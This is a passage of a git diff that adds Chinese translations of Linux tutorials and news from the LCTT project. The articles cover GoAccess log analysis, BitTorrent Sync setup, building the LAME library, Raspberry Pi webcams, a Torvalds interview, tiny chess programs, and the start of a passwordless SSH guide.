+在Debian,Ubuntu及其衍生版本,运行以下命令来安装GoAccess: + + # aptitude install goaccess + +在CentOS中,你将需要使你的[EPEL 仓库][3]可用然后执行以下命令: + + # yum install goaccess + +在Fedora,同样使用yum命令: + + # yum install goaccess + + +如果你想从源码安装GoAccess来使用更多功能(例如 GeoIP 定位功能),需要在你的操作系统安装[必需的依赖包][4],然后按以下步骤进行: + + # wget http://tar.goaccess.io/goaccess-0.8.5.tar.gz + # tar -xzvf goaccess-0.8.5.tar.gz + # cd goaccess-0.8.5/ + # ./configure --enable-geoip + # make + # make install + +以上安装的版本是 0.8.5,但是你也可以在该软件的网站[下载页][5]确认是否是最新版本。 + +由于GoAccess不需要后续的配置,一旦安装你就可以马上使用。 + +### 运行 GoAccess ### + +开始使用GoAccess,只需要对它指定你的Apache访问日志。 + +对于Debian及其衍生版本: + + # goaccess -f /var/log/apache2/access.log + +基于红帽的发行版: + + # goaccess -f /var/log/httpd/access_log + +当你第一次启动GoAccess,你将会看到如下的屏幕中选择日期和日志格式。正如前面所述,你可以按空格键进行选择,并按F10确认。至于日期和日志格式,你可能需要参考[Apache 文档][6]来刷新你的记忆。 + +在这个例子中,选择常见日志格式(Common Log Format(CLF)): + +![](https://farm8.staticflickr.com/7422/15868350373_30c16d7c30.jpg) + +然后按F10 确认。你将会从屏幕上看到统计数据。为了简洁起见,这里只显示了首部,也就是日志文件的摘要,如下图所示: + +![](https://farm9.staticflickr.com/8683/16486742901_7a35b5df69_b.jpg) + +### 通过 GoAccess来浏览网站服务器统计数据 ### + +你可以按向下的箭头滚动页面,你会发现以下区域,它们是按请求排序的。这里提及的目录顺序可能会根据你的发行版或者你所选的安装方式(从源和库)不同而不同: + +1. 每天唯一访客(来自同样IP、同一日期和同一浏览器的请求被认为是是唯一访问) + + ![](https://farm8.staticflickr.com/7308/16488483965_a439dbc5e2_b.jpg) + +2. 请求的文件(网页URL) + + ![](https://farm9.staticflickr.com/8651/16488483975_66d05dce51_b.jpg) + +3. 请求的静态文件(例如,.png文件,.js文件等等) + +4. 来源的URLs(每一个URL请求的出处) + +5. HTTP 404 未找到的响应代码 + + ![](https://farm9.staticflickr.com/8669/16486742951_436539b0da_b.jpg) + +6. 操作系统 + +7. 浏览器 + +8. 主机地址(客户端IP地址) + + ![](https://farm8.staticflickr.com/7392/16488483995_56e706d77c_z.jpg) + +9. HTTP 状态代码 + + ![](https://farm8.staticflickr.com/7282/16462493896_77b856f670_b.jpg) + +10. 前几位的来源站点 + +11. 来自谷歌搜索引擎的前几位的关键字 + +如果你想要检查已经存档的日志,你可以通过管道将它们发送给GoAccess,如下: + +在Debian及其衍生版本: + + # zcat -f /var/log/apache2/access.log* | goaccess + +在基于红帽的发行版: + + # cat /var/log/httpd/access* | goaccess + +如果你需要上述部分的详细报告(1至11项),直接按下其序号再按O(大写o),就可以显示出你需要的详细视图。下面的图像显示5-O的输出(先按5,再按O) + +![](https://farm8.staticflickr.com/7382/16302213429_48d9233f40_b.jpg) + +如果要显示GeoIP位置信息,打开主机部分的详细视图,如前面所述,你将会看到正在请求你的服务器的客户端IP地址所在的位置。 + +![](https://farm8.staticflickr.com/7393/16488484075_d778aa91a2_z.jpg) + +如果你的系统还不是很忙碌,以上提及的章节将不会显示大量的信息,但是这种情形可以通过在你网站服务器越来越多的请求发生改变。 + +### 保存用于离线分析的报告 ### + +有时候你不想每次都实时去检查你的系统状态,可以保存一份在线的分析文件或打印出来。要生成一个HTML报告,只需要通过之前提到GoAccess命令,将输出来重定向到一个HTML文件即可。然后,用web浏览器来将这份报告打开即可。 + + # zcat -f /var/log/apache2/access.log* | goaccess > /var/www/webserverstats.html + +一旦报告生成,你将需要点击展开的链接来显示每个类别详细的视图信息: + +![](https://farm9.staticflickr.com/8658/16486743041_bd8a80794d_o.png) + +可以查看youtube视频:https://youtu.be/UVbLuaOpYdg 。 + +正如我们通过这篇文章讨论,GoAccess是一个非常有价值的工具,它能给系统管理员实时提供可视的HTTP 统计分析。虽然GoAccess的默认输出是标准输出,但是你也可以将他们保存到JSON,HTML或者CSV文件。这种转换可以让 GoAccess在监控和显示网站服务器的统计数据时更有用。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/interactive-apache-web-server-log-analyzer-linux.html + +作者:[Gabriel Cánepa][a] +译者:[disylee](https://github.com/disylee) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://goaccess.io/ +[2]:http://w3techs.com/technologies/details/os-linux/all/all +[3]:http://linux.cn/article-2324-1.html +[4]:http://goaccess.io/download#dependencies +[5]:http://goaccess.io/download +[6]:http://httpd.apache.org/docs/2.4/logs.html diff --git a/published/201504/20150215 How to share files between computers over network with btsync.md b/published/201504/20150215 How to share files between computers over network with btsync.md new file mode 100644 index 0000000000..ac280d2ffd --- /dev/null +++ b/published/201504/20150215 How to share files between computers over network with btsync.md @@ -0,0 +1,134 @@ +如何使用btsync通过网络实现计算机间的文件共享 +================================================================================ +如果你是那种使用各式设备在网上工作的人,我相信你肯定需要一个在不同设备间同步文件及目录的方法,至少是非常渴望有这种功能。 + +BitTorrent Sync简称btsync,是一个基于BitTorrent(著名P2P文件分享协议)的免费跨平台同步工具。与传统BitTorrent客户端不同的是,btsync可以在不同操作系统及设备之间加密数据传输和基于自动生成的密钥来授予访问共享文件的权限。 + +更具体点,当你想要通过btsync共享一些文件或文件夹,相应的读/写密钥(所谓的密码)就创建好了。这些密钥可以通过HTTPS链接,电子邮件,二维码等在不同的设备间共享传递。一旦两台设备通过一个密钥配对成功,其所对应的内容将会直接在其间同步。如果没有事先设置,传输将不会有文件大小和速度的限制。你可以在btsync中创建账号,这样你可以通过 web 界面来创建和管理通过网络分享的密钥和文件。 + +BitTorrent Sync可以在许多的操作系统上运行,包括Linux,MacOS X,Windows,在 [Android][1]和[iOS][2]上也可以使用。在这里,我们将教你在Linux环境(一台家用服务器)与Windows环境(一台笔记本电脑)之间如何使用BitTorrent Sync来同步文件。 + +### Linux下安装btsync ### + +BitTorrent Sync可以在[项目主页][3]直接下载。由于Windows版本的BitTorrent Syn安装起来十分简单,所以我们假设笔记本上已经安装了。我们把焦点放到Linux服务器上的安装和配置。 + +在下载页面中选择你的系统架构,右键相应链接,复制连接地址(或者类似的功能,不同浏览器可能不同),将链接粘贴到在终端中用wget下载,如下: + +**64位Linux:** + + # wget http://download.getsyncapp.com/endpoint/btsync/os/linux-x64/track/stable + +**32位Linux:** + + # wget http://download.getsyncapp.com/endpoint/btsync/os/linux-i386/track/stable + +![](https://farm9.staticflickr.com/8635/15895277773_8acf317e3c_c.jpg) + +下载完成后,把包中内容解压到你专门创建的目录中,为了完成这些: + + # cd /usr/local/bin + # mkdir btsync + # tar xzf stable -C btsync + +![](https://farm8.staticflickr.com/7306/16329173869_7dc8b64a39_b.jpg) + +现在你可以选择将/usr/local/bin/btsync添加到环境变量PATH中去。 + + export PATH=$PATH:/usr/local/bin/btsync + +或者在该文件夹中运行btsync的二进制文件。我们推荐使用第一种方式,虽需要少量的输入但更容易记忆。 + +### 配置btsync ### + +btsync带有一个内置的网络服务器,用作其管理接口。想要使用这个接口你需要创建一个配置文件。你可以使用以下命令来创建: + + # btsync --dump-sample-config > btsync.config + +然后使用你最常用的编辑器对btsync.config文件的(webui部分)作以下修改 + + "listen" : "0.0.0.0:8888", + "login" : "yourusername", + "password" : "yourpassword" + +你可以选择任何用户名和密码。 + +![](https://farm9.staticflickr.com/8599/15895277793_da63841433_b.jpg) + +如果你将来想要优化一下它的配置,可以看一下 /usr/local/bin/btsync 目录下的 README 文件,不过现在我们先继续下面的步骤。 + +### 第一次运行btsync ### + +作为一个系统的最高执行者我们需要依赖日志文件!所以在我们启动btsync之前,我们将先为btsync创建一个日志文件。 + + # touch /var/log/btsync.log + +最后,让我们启动btsync: + + # btsync --config /usr/local/bin/btsync/btsync.config --log /var/log/btsync.log + +![](https://farm8.staticflickr.com/7288/16327720298_ccf2cbedea_c.jpg) + +现在在你的浏览器中输入正在运行的btsync所监听的服务器IP地址和端口(我这是192.168.0.15:8888),同意其隐私政策,条款和最终用户许可协议: + +![](https://farm9.staticflickr.com/8597/16327720318_d52551fc44_b.jpg) + +这样页面就会转到你安装的btsync主页: + +![](https://farm8.staticflickr.com/7412/16329544687_9a174527d8_c.jpg) + +点击添加文件夹并在你的文件系统中选择一个你想要分享的目录,在我们的例子中,我们使用的是/btsync: + +![](https://farm8.staticflickr.com/7407/16515452485_e25ded559f_b.jpg) + +现在这样就够了。在运行接下来的步骤之前,请先在Windows主机(或你想使用的其他Linux设备)上安装BitTorrent Sync。 + +### btsync分享文件 ### + +这个[视频][5](需要翻墙)展示了如何在安装Windows8的电脑[192.168.0.106]上分享现有的文件夹。在添加好想要同步的文件夹后,你会得到它的密钥,通过“Enter a key or link”菜单(上面的图已经展示过了)添加到你安装到的Linux机器上,并开始同步。 + +现在用别的设备试试吧;找一个想要分享的文件夹或是一些文件,并通过Linux服务器的网络接口将密钥导入到你安装的“中央”btsync中。 + +### 以常规用户开机自动运行btsync ### + +你们可能注意到了,视频中在同步文件时是使用'root'组的用户创建/btsync目录的。那是因为我们使用超级用户手动启动BitTorrent Sync的原因。在通常情况下,你会希望它开机自动使用无权限用户(www_data或是专门为此创建的账户,例如btsync)启动。 + +所以,我们创建了一个叫做btsync的用户,并在/etc/rc.local文件(exit 0 这一行前)添加如下字段: + + sudo -u btsync /usr/local/bin/btsync/btsync --config /usr/local/bin/btsync/btsync.config --log /var/log/btsync.log + +最后,创建pid文件: + + # touch /usr/local/bin/btsync/.sync/sync.pid + +并递归更改 /usr/local/bin/btsync的所属用户: + + # chown -R btsync:root /usr/local/bin/btsync + +现在重启试试,看看btsync是否正在由预期中的用户运行: + +![](https://farm9.staticflickr.com/8647/16327988660_644f6d4505_c.jpg) + +基于你选择的发行版不同,你可能找到不同的方式来开机自启动btsync。在本教程中,我选择rc.local的方式是因为它在不同发行版中都可使用。 + +### 尾注 ### + +如你所见,BitTorrent Sync对你而言几乎就像一个无服务器的Dropbox。我说“几乎”的原因是:当你在局域网内同步数据时,同步在两个设备之间直接进行。然而如果你想要跨网段同步数据,并且你的设备可能要穿过防火墙的限制来配对,那就只能通过一个提供BitTorrent的第三方中继服务器来完成同步传输。虽然声称传输经过 [AES加密][4],你还是可能会遇到不想发生的状况。为了你的隐私着想,务必在你共享的每个文件夹中关掉中继/跟踪选项。 + +希望这些对你有用!分享愉快! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/share-files-between-computers-over-network.html + +作者:[Gabriel Cánepa][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:https://play.google.com/store/apps/details?id=com.bittorrent.sync +[2]:https://itunes.apple.com/us/app/bittorrent-sync/id665156116 +[3]:http://www.getsync.com/ +[4]:http://www.getsync.com/tech-specs +[5]:https://youtu.be/f7kLM0lAqF4 diff --git a/published/201504/20150225 Linux FAQs with Answers--How to fix 'fatal error--lame or lame.h--No such file or directory' on Linux.md b/published/201504/20150225 Linux FAQs with Answers--How to fix 'fatal error--lame or lame.h--No such file or directory' on Linux.md new file mode 100644 index 0000000000..2d37fb0a33 --- /dev/null +++ b/published/201504/20150225 Linux FAQs with Answers--How to fix 'fatal error--lame or lame.h--No such file or directory' on Linux.md @@ -0,0 +1,97 @@ +Linux 有问必答:如何在Linux中修复“fatal error: lame/lame.h: No such file or directory” +================================================================================ +> **提问**: 我尝试着在Linux中编译视频编码器,但是编译提示出错:“fatal error: lame/lame.h: No such file or directory”, 我该如何修复这个错误? + +下面的编译错误说明你的系统没有安装LAME库和它的开发文件。 + + fatal error: lame/lame.h: No such file or directory + +[LAME][1]("LAME Ain't an MP3 Encoder")是一个流行的LPGL授权的MP3编码器。许多视频编码工具使用或者支持LAME,如 [FFmpeg][2]、 VLC、 [Audacity][3]、 K3b、 RipperX等。 + +要修复这个编译错误,你需要安装LAME库和开发文件,按照下面的来。 + +### 在Debian、Ubuntu或者Linux Mint上安装LAME库和安装文件 ### + +Debian和它的衍生版在基础库中已经提供了LAME库,因此可以用apt-get直接安装。 + + $ sudo apt-get install libmp3lame-dev + +### 在Fedora、CentOS/RHEL上安装LAME库和安装文件 ### + +在基于RED HAT的版本中,LAME在RPM Fusion的免费仓库中就有,那么你需要先设置[RPM Fusion (免费)仓库][4]。 + +RPM Fusion设置完成后,如下安装LAME开发包。 + + $ sudo yum --enablerepo=rpmfusion-free-updates install lame-devel + +在2015年1月,RPM Fusion仓库已经不可以在CentOS/RHEL 7中可用了。因此,这个方法不能用在CentOS/RHEL 7 中。这时你就要从源码安装LAME库了(下面会描述)。 + +### 在Debian、Ubuntu或者Linux Mint中从源码编译LAME库 ### + +如果你希望用不同的编译选项安装自定义的LAME库,你需要自己编译。下面是怎样在基于Debian的系统中编译和安装LAME库(和它的头文件)。 + + $ sudo apt-get install gcc git + $ wget http://downloads.sourceforge.net/project/lame/lame/3.99/lame-3.99.5.tar.gz + $ tar -xzf lame-3.99.5.tar.gz + $ cd lame-3.99.5 + $ ./configure --enable-static --enable-shared + $ make + $ sudo make install + +注意当你运行上面的配置步骤时,你可以根据你的需求启用会禁止不同的选项。运行下面的命令查看不同的编译选项。 + + $ ./configure --help + +共享/静态的LAME库默认安装在 /usr/local/lib。要让共享库可以被其他程序使用,完成最后一步: + +用编辑器打开 /etc/ld.so.conf,加入下面这行。 + + /usr/local/lib + +接着运行下面的命令,这会将/usr/local/lib中的共享库添加到动态加载缓存中,因此LAME库就可以被其他程序调用了。 + + $ sudo ldconfig + +### 在Fedora或者CentOS/RHEL中从源码编译LAME库 ### + +如果你的发行版(比如 CentOS 7)没有提供预编译的LAME库,或者你想要自定义LAME库,你需要从源码自己编译。下面是在基于Red Hat的系统中编译安装LAME库的方法。 + + $ sudo yum install gcc git + $ wget http://downloads.sourceforge.net/project/lame/lame/3.99/lame-3.99.5.tar.gz + $ tar -xzf lame-3.99.5.tar.gz + $ cd lame-3.99.5 + $ ./configure --enable-static --enable-shared + $ make + $ sudo make install + +运行make之前,你可以在configure中带上合适的选项自定义编译选项。你可以用下面的命令检查可用的选项: + + $ ./configure --help + +最后你需要完成最后一步,因为安装在/usr/local/lib的LAME共享库可能在其他程序中不可用。 + +在/etc/ld.so.conf中添加下面这行: + + /usr/local/lib + +接着运行下面的命令。这会添加 /usr/local/lib中的共享库(包括LAME)到动态加载缓存中,让其他程序可以访问到。 + + $ sudo ldconfig + +![](https://farm8.staticflickr.com/7340/16534478445_abc97cb65a_c.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/fatal-error-lame-no-such-file-or-directory.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://lame.sourceforge.net/ +[2]:http://ask.xmodulo.com/compile-ffmpeg-ubuntu-debian.html +[3]:http://xmodulo.com/how-to-cut-split-or-edit-mp3-file-on-linux.html +[4]:http://xmodulo.com/how-to-install-rpm-fusion-on-fedora.html diff --git a/published/201504/20150225 Linux FAQs with Answers--How to install a USB webcam in Raspberry Pi.md b/published/201504/20150225 Linux FAQs with Answers--How to install a USB webcam in Raspberry Pi.md new file mode 100644 index 0000000000..80974a1761 --- /dev/null +++ b/published/201504/20150225 Linux FAQs with Answers--How to install a USB webcam in Raspberry Pi.md @@ -0,0 +1,63 @@ +Linux有问必答:如何在树莓派上安装USB网络摄像头 +================================================================================ +> **Question**: 我可以在树莓派上使用标准的USB网络摄像头么?我该如何检查USB网络摄像头与树莓派是否兼容?另外我该如何在树莓派上安装它? + +如果你想在树莓上拍照或者录影,你可以安装[树莓派的摄像头板][1]。如果你不想要为摄像头模块花费额外的金钱,那有另外一个方法,就是你常见的[USB 摄像头][2]。你可能已经在PC上安装过了。 + +本教程中,我会展示如何在树莓派上设置摄像头。我们假设你使用的系统是Raspbian。 + +在此之前,你最好检查一下你的摄像头是否在[这些][3]已知与树莓派兼容的摄像头之中。如果你的摄像头不在这个兼容列表中,不要丧气,仍然有可能树莓派能检测到你的摄像头。 + +### 检查USB摄像头是否雨树莓派兼容 ### + +要检查你的摄像头是否可以被树莓派检测到,将它插入到树莓派的USB口中,然后输入下面的命令。 + + $ lsusb + +如果输出中没有你的摄像头,那么有可能你的树莓派的电源无法供应足够的电力给你的摄像头。这时你可以给你的摄像头用独立的电源线,比如[有源USB hub][4],并重新输入lsusb命令。如果摄像头还是不能被识别,我们只有建议你购买其他树莓派支持的摄像头了。 + +![](https://farm8.staticflickr.com/7408/16576646025_898f17f36e_o.png) + +在上面的截屏中,USB摄像头被识别为“1e4e:0102”,但是没有显示摄像头的制造商。当你在笔记本的Fedora 20中使用它时,它可以成功的检测到“1e4e:0102 Cubeternet GL-UPC822 UVC WebCam”。 + +另外一个可以检查摄像头是否被树莓派支持的方法是检查/dev目录。如果有/dev/video0,那么这暗示树莓派支持你的摄像头。 + +### 用USB Webcam拍照片 ### + +当USB摄像头成功挂载到树莓派上之后,下一步就是拍一些照片来验证它的功能了。 + +要想拍摄照片,你要安装fswebcam,这是一款小型摄像头程序。你可以直接通过Raspbian的仓库来安装fswebcam。 + + $ sudo apt-get install fswebcam + +fswebcam安装完成后,在终端中运行下面的命令来抓去一张来自摄像头的照片: + + $ fswebcam --no-banner -r 640x480 image.jpg + +这条命令可以抓取一张640x480分辨率的照片,并且用jpg格式保存。它不会在照片的底部留下任何水印. + +![](https://farm8.staticflickr.com/7417/16576645965_302046d230_o.png) + +这就是fswebcam下640x480分辨率的结果。 + +![](https://farm8.staticflickr.com/7345/16575497512_8d77f1b34c_o.jpg) + +下面的例子是没有定义分辨率的照片。图片是偏蓝的,并且默认的分辨率是358x288。 + +![](https://farm8.staticflickr.com/7390/15954067124_760fbcdd9c_o.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-usb-webcam-raspberry-pi.html + +作者:[Kristophorus Hadiono][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/kristophorus +[1]:http://xmodulo.com/install-raspberry-pi-camera-board.html +[2]:http://xmodulo.com/go/usb_webcam +[3]:http://elinux.org/RPi_USB_Webcams +[4]:http://xmodulo.com/go/usb_powerhub diff --git a/published/201504/20150225 Torvalds--'People who start writing kernel code get hired really quickly'.md b/published/201504/20150225 Torvalds--'People who start writing kernel code get hired really quickly'.md new file mode 100644 index 0000000000..286b5eee16 --- /dev/null +++ b/published/201504/20150225 Torvalds--'People who start writing kernel code get hired really quickly'.md @@ -0,0 +1,32 @@ +Torvalds: 写linux内核的人更加容易找工作 +======================================== + +相比起以往,linux内核开发这么专业的事情,在最近发布的《谁在编写 Linux》报告中,其无偿贡献者降到了历史最低水平。 + +这个报道由linux基金会撰写,上年有11.8%的内核开发是由无偿贡献者完成,相比2012年的14.6%下滑了19%。基金会说贡献者有逐年下降的趋势。 + +![](http://images.techhive.com/images/article/2015/02/screen-shot-2015-02-17-at-5.25.43-pm-100568680-medium.idge.png) + +即使是这样,在最新的《谁在编写 Linux》报告里,无偿贡献者还是最大的单一贡献来源,共做了11968 处修改,占整体的12.4%。然而,linux基金会说,企业贡献者共同占比越来越多,超过80%的内核贡献是由有偿的专业开发者完成的。 + +根据 linus Torvalds 说,这个有偿开发者趋势不会对内核开发的本身有太多改变。 + +他向《Network World》说,“我认为不会改变太多的一个原因是,其实并不是‘无偿贡献者离开了’,而是‘编写内核的人很快就被雇走了’。” + +Torvalds讲到,linux开发的改变有很多其他原因,很自然的,新的贡献者会经常冒出来;有很多原来的开发者,有的有着10年的经验,被很多对linux感兴趣的公司抢去了。 + +他说:“开始我们是自愿者,但我们后来也很高兴被请去开发linux。” + +Torvalds 开始抽离了他的开发角色,根据报道在3.10的内核版本里面他个人发布了329个补丁,占04%。逐渐地,各个子系统的维护人员自己开始做代码检查与合并。 + +-------------------------------------------------------------------------------- + +via: http://www.infoworld.com/article/2885339/application-development/torvalds-people-who-start-writing-kernel-code-get-hired-really-quickly.html + +作者:[Jon Gold][a] +译者:[haimingfg](https://github.com/haimingfg) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.infoworld.com/author/Jon-Gold/ diff --git a/published/201504/20150227 Chess in a Few Bytes.md b/published/201504/20150227 Chess in a Few Bytes.md new file mode 100644 index 0000000000..941f6de274 --- /dev/null +++ b/published/201504/20150227 Chess in a Few Bytes.md @@ -0,0 +1,116 @@ +只有几百个字节大小的国际象棋程序 +================================================================================ + +当我在这里提到了 ZX81 电脑时,我已经暴露了我的年龄。ZX81 是一个由英国开发者(Sincilair 研究所)生产的家庭电脑,它拥有"高达" 1KB 的内存!上面的 1KB 并不是打印错误,这个家庭电脑确实只配置有 1KB 的板载内存。但这个内存大小上的限制并没有阻止爱好者制作种类繁多的软件。事实上,这个机器引发了一代编程奇才的出现,这让他们掌握了让程序在该机上运行起来的技能。这个机器可以通过一个 16 KB 的内存卡来进行升级,这就提供了更多的编程可能。但未经扩展的 1KB 机器仍然激励着编程者们发布卓越的软件。 + +![1K ZX Chess ](http://www.linuxlinks.com/portal/content2/reviews/Games2/1KZXChess.jpg) + +我最喜爱的 ZX81 游戏有: 模拟飞行(Flight Simulation), 3D 版怪物迷宫(3D Monster Maze), 小蜜蜂(Galaxians), 以及最重要的 1K ZX Chess。 只有最后一个程序是为未扩展版的 ZX81 电脑设计的。事实上,David Horne 开发的 1K ZX Chess 只使用了仅仅 672 字节的 RAM(LCTT 译注:如果读者有兴趣,可以看看[这里](http://users.ox.ac.uk/~uzdm0006/scans/1kchess/)对该程序的代码及解释)。尽管如此,该游戏尽力去实现大多数的国际象棋规则,并提供了一个计算机虚拟对手。虽然一些重要的规则被忽略了(如:王车易位,兵的升变,和吃过路兵) +(LCTT 译注:参考了[这里](http://zh.wikibooks.org/zh/%E5%9B%BD%E9%99%85%E8%B1%A1%E6%A3%8B/%E8%A7%84%E5%88%99)和[这里](http://en.wikipedia.org/wiki/Rules_of_chess)),但能够和人工智能相对抗,这仍然令人惊讶。这个游戏占据了我逝去的青春里的相当一部分。 + +1K ZX Chess 保持了在所有计算机上国际象棋的最小实现的地位长达 33 年之久,直到今年由 BootChess 打破了该记录,紧接着由 Toledo AtomChess 打破。这三个程序都没有实现所有的国际象棋规则,所以为了完整性,我介绍了我最喜爱的那些实现了所有国际象棋规则的极小的国际象棋。 + +Linux 有着一系列极其强大的国际象棋引擎,如 Stockfish, Critter, Togo II, Crafty, GNU Chess 和 Komodo 。 在这篇文章精选的国际象棋程序虽敌不过这些好的国际象棋程序,但它们展示了使用微不足道的代码库究竟可以实现多少东西。 + +---------- + +### Toledo Atomchess + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-Toledo.png) + +你可能已经看到了大量有关 BootChess 新闻报道,这个只用 487 字节写就的国际象棋程序,一举打破了先前最小的国际象棋程序 1K ZX Chess 的记录。所以,Óscar Toledo Gutiérrez 挽起袖子自己编写了一个更加紧凑的国际象棋游戏。Toledo Atomchess 是仅有 481 字节的 x86 汇编代码,都能放到引导扇区里。 在难以置信的代码大小下,这个引擎实现了一个可玩的国际象棋游戏。 + +特点包括: + +- 基本的棋子移动 +- 用 ASCII 文本表现的棋盘 +- 以代数形式来输入移动(注:如 D2D4) +- 3 层的搜索深度 + +显然,为了将这个国际象棋程序压缩到 481 字节中,作者必须做出某些牺牲,这些局限包括: + +- 没有兵的升变 +- 没有王车易位 +- 没有吃过路兵 +- 没有移动确认 + +该作者也使用 C,JavaScript 和 Java 来写这个国际象棋程序,每种实现都非常小。 + +- 网站: [nanochess.org/chess6.html][1] +- 开发者: Óscar Toledo Gutiérrez +- 协议: 非商业用途可免费使用 +- 版本号: - + +---------- + +### BootChess + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-BootChess.png) + +BootChess 是一个国际象棋的极其小巧的计算机实现。这个程序被塞进到仅仅 487 字节里,并可运行在 Windows, Mac OS X 和 Linux 等操作系统。BootChess 的棋盘和棋子单独用文本表示,其中 P 代表兵, Q 用来代表王后,以及“点”代表空白格子。 + +特点包括: + +- 象棋棋盘和用户输入的形象的文本表示 +- 引导扇区大小(512 字节)的可玩的象棋游戏 +- 只需 x86 bios 硬件引导程序(没有软件依赖) +- 所有主要的正规移动包括双兵开局 +- 兵升变为王后(与 1k ZX Chess 相反) +- 名为 taxiMax > minMax half-ply 的 CPU 人工智能 +- 硬编码的西班牙白子开局 + +同样,它也存在一些重要的限制。这些遗漏的功能包括: + +- 兵的低升变(升变为非王后的棋子) +- 吃过路兵 +- 没有王车易位 +- 3 次位置重复和局规则(注:下一步之前,同样的移动出现了两次;可以参考[这里](http://www.netplaces.com/chess-basics/ending-the-game/three-position-repetition.htm)) +- 50 步移动和局规则(注:在连续的50个回合内,双方既没有棋子被吃掉,也没有兵被移动过,则和局;可以参考[这里](http://www.chessvariants.org/d.chess/chess.html)) +- 没有开放式和封闭式布局 +- 一个或多个 minMAX/negaMax 全层人工智能 + +- 网站: [www.pouet.net/prod.php?which=64962][2] +- 开发者: Olivier "Baudsurfer/RSi" Poudade +- 协议: WTFPL v2 +- 版本号: .02 + +---------- + +###Micro-Max + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-Micro-Max.png) + +Micro-Max 是一个用 133 行 C 语言写就的象棋源程序。 + +作者实现了一个 hash 变换表,该引擎检查输入移动的合法性,以及支持 FIDE(注: World Chess Federation 缩写,参见其[官网](https://www.fide.com/)) 的全部规则,除了低升变。 + +特点包括: + +- 递归的 negamax 搜索 +- 反夺的静态搜索 +- 反夺规则的扩展 +- 迭代深化 +- 最佳移动优先的 `排序` +- 存储分数和最佳移动的 Hash 表 +- 完整的 FIDE 规则(除了低位升变)和移动合法性检查 + +还有一个 1433个字符的较大版本,但允许你使用完整的 FIDE 规则的低升变。 + +- 网站: [home.hccnet.nl/h.g.muller/max-src2.html][3] +- 开发者: Harm Geert Muller +- 协议: The MIT License +- 版本号: 3.2 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20150222033906262/ChessBytes.html + +作者:Frazer Kline +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://nanochess.org/chess6.html +[2]:http://www.pouet.net/prod.php?which=64962 +[3]:http://home.hccnet.nl/h.g.muller/max-src2.html \ No newline at end of file diff --git a/published/201504/20150302 How to Setup Passwordless SSH Logon to Ubuntu 14.04.md b/published/201504/20150302 How to Setup Passwordless SSH Logon to Ubuntu 14.04.md new file mode 100644 index 0000000000..8d2a56f574 --- /dev/null +++ b/published/201504/20150302 How to Setup Passwordless SSH Logon to Ubuntu 14.04.md @@ -0,0 +1,85 @@ + 如何设置Ubuntu14.04 的 SSH 无密码登录 +================================================================================ +大家好,今天我来向大家介绍如何在 Ubuntu12.04 上设置 SSH 的无密码登录功能。仅在工作站上有正确的(公私)密钥对以供匹配时SSH服务端才会允许你登录,反之访问将不会被允许。 + +正常情况下,我们需要连上SSH的控制台输入用户名及其密码才行。如果两者全部正确,我们就可以访问,反之访问被服务端拒绝。不过相比而言还有一种比用密码更安全的登录方式,我们可以在登录SSH时通过加密密钥进行无密码登录。 + +如果你想启用这个安全的方式,我们只需简单的禁用密码登录并只允许加密密钥登录即可。使用这种方式时,客户端计算机上会产生一对私钥和公钥。接着客户端得把公钥上传到SSH服务端的authorized_key文件中去。在授予访问前,服务器及客户端电脑会校验这个密钥对。如果服务器上的公钥与客服端提交的私钥匹配则授予访问权限,否则访问被拒绝。 + +这是认证到SSH服务器的非常安全的一种做法,如果你想为单一的SSH用户登录实现安全登录,这也是备受推崇的方式。这里快速的过一遍如何启用无密码登录SSH的配置过程。 + +### 1.安装Openssh服务端 ### + +首先,我们需要更新我们的本地库索引。所以如下所见,我们需要先输入“apt-get update” + + $ sudo apt-get update + +![Updating Repo Index](http://blog.linoxide.com/wp-content/uploads/2015/02/updating-repo-list.png) + +现在我们可以通过以下命令安装openssh-server: + + $ sudo apt-get install openssh-server + +![Installing openssh server](http://blog.linoxide.com/wp-content/uploads/2015/02/installing-openssh-server.png) + +### 2. 开启openssh服务 ### + +在OpenSSH已经成功安装在Ubuntu14.04操作系统上了之后,我们要启动OpenSSH的服务。以下命令让你启动/开启服务。 + + $ sudo service ssh start + +或 + + $ sudo /etc/init.d/ssh start + +### 3. 配置密钥对 ### + +在我们安装并启动了OpenSSH服务以后。现在终于到了要我们搞定公私钥对的时候了,在终端中运行以下命令: + + $ ssh-keygen -t rsa + +在运行完以上命令了以后,我们需要回答一系列的问题。首先选择保存密钥的路径,按回车将会选择默认路径即家目录的一个隐藏的.ssh文件夹。下一个提示是请输入口令提醒。我个人将此留空(直接回车)。之后密钥对就会创建,大功告成。 + +![Generating Key Pair](http://blog.linoxide.com/wp-content/uploads/2015/02/generating-key-pair.png) + 